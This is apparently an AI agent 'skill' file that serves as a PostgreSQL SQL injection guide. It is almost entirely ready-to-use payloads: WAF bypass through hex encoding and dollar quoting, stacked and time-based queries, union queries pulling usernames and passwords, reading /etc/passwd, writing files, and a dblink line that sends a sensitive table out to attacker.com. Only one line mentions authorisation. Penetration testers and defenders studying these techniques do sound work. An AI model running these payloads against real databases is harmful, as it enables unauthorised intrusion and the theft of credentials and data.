abelrguezr PostgreSQL Injection Testing
A comprehensive guide for testing PostgreSQL SQL injection vulnerabilities.
When to Use This Skill
Use this skill when:
- You've identified a SQL injection vulnerability and need to determine if it's PostgreSQL
- You need to enumerate database structure from a PostgreSQL injection point
- You want to exfiltrate data through PostgreSQL injection
- You need to bypass WAFs or input filters targeting PostgreSQL
- You're exploring privilege escalation paths from PostgreSQL
- You need to perform network operations through PostgreSQL (dblink)
Quick Start
- Confirm PostgreSQL - Use PostgreSQL-specific syntax to verify the database type
- Enumerate - Extract database schema, tables, and columns
- Exfiltrate - Pull sensitive data using appropriate techniques
- Escalate - Explore privilege escalation and network access options
Confirming PostgreSQL
Test with PostgreSQL-specific functions:
-- Check PostgreSQL version
SELECT version();
-- Check if superuser
SELECT current_setting('is_superuser');
-- List databases
SELECT current_database();
Data Enumeration
Get Table Names
-- Simple enumeration
SELECT string_agg(table_name, ',') FROM information_schema.tables;
-- With schema
SELECT string_agg(schemaname || '.' || tablename, ',') FROM pg_tables;
Get Column Names
SELECT string_agg(column_name, ',') FROM information_schema.columns WHERE table_name = 'target_table';
WAF Bypass Techniques
Hex Encoding
Bypass filters by encoding queries as hex:
-- Convert query to hex
SELECT encode('SELECT * FROM users', 'hex');
-- Execute hex-encoded query
SELECT convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8');
-- Combined with query_to_xml
SELECT query_to_xml(convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8'), true, true, '');
String Functions
Use PostgreSQL string functions to construct queries:
-- Character concatenation
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); -- Returns 'AWAE'
-- Dollar quoting (bypass quote restrictions)
SELECT $$SELECT * FROM users$$;
SELECT $tag$SELECT * FROM users$tag$;
XML-Based Extraction
Extract large datasets in single queries:
-- Query to XML
SELECT query_to_xml('SELECT * FROM users', true, true, '');
-- Database to XML (entire database)
SELECT database_to_xml(true, true, '');
Stacked Queries
PostgreSQL supports stacked queries:
-- Basic stacked query
id=1; SELECT pg_sleep(10);-- -
-- Conditional time-based
1; SELECT CASE WHEN (SELECT current_setting('is_superuser'))='on' THEN pg_sleep(10) END;-- -
Network Operations (dblink)
The dblink module enables network connections:
-- Connect to external PostgreSQL
SELECT dblink('host=external_db port=5432 dbname=test user=user password=pass', 'SELECT 1');
-- Port scanning
SELECT dblink('host=target port=22', 'SELECT 1');
-- Data exfiltration via dblink
SELECT dblink('host=attacker.com port=5432 dbname=exfil user=x password=x', 'COPY (SELECT * FROM sensitive_data) TO ''/dev/tcp/attacker.com/5432''');
Privilege Escalation
Check Current Privileges
-- Current user
SELECT current_user;
-- Superuser status
SELECT current_setting('is_superuser');
-- Role memberships
SELECT * FROM pg_roles WHERE rolname = current_user;
File Operations
-- Read files (requires superuser)
SELECT pg_read_file('/etc/passwd');
-- Write files (requires superuser)
SELECT pg_write_file('malicious content', '/tmp/malicious.txt');
Error-Based Extraction
Extract data through error messages:
-- Cast to integer to trigger error with data
SELECT CAST(string_agg(table_name, ',') AS INT) FROM information_schema.tables;
-- Combined with query_to_xml
SELECT query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'), true, true, '');
Best Practices
- Always confirm PostgreSQL before using PostgreSQL-specific techniques
- Start simple - basic enumeration before complex bypasses
- Document findings - track what works and what doesn't
- Respect scope - only test systems you have authorization for
- Use time-based techniques when blind injection is detected
- Combine techniques - hex encoding + XML + stacked queries for maximum bypass
Common Payloads
Blind Time-Based
-- Simple sleep
'; SELECT pg_sleep(5);-- -
-- Conditional sleep
'; SELECT CASE WHEN (SELECT COUNT(*) FROM users) > 0 THEN pg_sleep(5) END;-- -
Boolean-Based
-- True condition
' OR '1'='1'-- -
-- False condition
' OR '1'='2'-- -
-- Check for table
' OR EXISTS(SELECT * FROM users)-- -
Union-Based
-- Find column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
-- Extract data
' UNION SELECT 1, username, password FROM users-- -